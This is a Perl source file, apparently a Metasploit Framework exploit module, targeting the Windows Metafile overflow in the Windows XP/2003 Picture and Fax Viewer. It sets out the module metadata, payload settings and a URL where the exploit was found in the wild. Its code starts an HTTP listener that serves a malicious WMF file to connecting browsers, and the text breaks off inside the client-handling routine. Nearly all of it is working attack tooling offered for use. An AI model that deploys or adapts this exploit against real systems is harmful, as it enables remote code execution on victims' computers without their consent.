##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ie_xp_pfv_metafile;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;

my $advanced =
{
};

my $info =
{
'Name' => 'Windows XP/2003 Picture and Fax Viewer Metafile Overflow',
'Version' => '$Revision: 1.2 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com'
],

'Description' =>
Pex::Text::Freeform(qq{
This module exploits a vulnerability in the Windows Picture and
Fax Viewer found in Windows XP and 2003. This vulnerability uses
a corrupt Windows Metafile to execute arbitrary code and was reported by
noemailpls[at]noemail.ziper to the Bugtraq mailing list after
being discovered in the wild at the following URL:
http://unionseek[DOT]com/d/t1/wmf_exp.htm
}),

'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,

'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},

'Payload' =>
{
'Space' => 5081,
'Keys' => [ '-ws2ord', '-bind' ],
},

'Refs' =>
[

],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic - Windows XP / Windows 2003' ]
],

'Keys' => [ 'ie' ],

'DisclosureDate' => 'Dec 27 2005',
};

sub new
{
my $class = shift;
my $self;

$self = $class->SUPER::new(
{
'Info' => $info,
'Advanced' => $advanced,
},
@_);

return $self;
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp');
my $client;

# Did the listener create fail?
if (not defined($server))
{
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}

$self->PrintLine("[*] Waiting for connections to http://" . $self->GetVar('HTTPHOST') . ":" . $self->GetVar('HTTPPORT') . "/anything.wmf");

while (defined($client = $server->accept()))
{
$self->HandleHttpClient(fd => Msf::Socket::Tcp->new_from_socket($client));
}

return;
}

sub HandleHttpClient
{
my $self = shift;
my ($fd) = @{{@_}}{qw/fd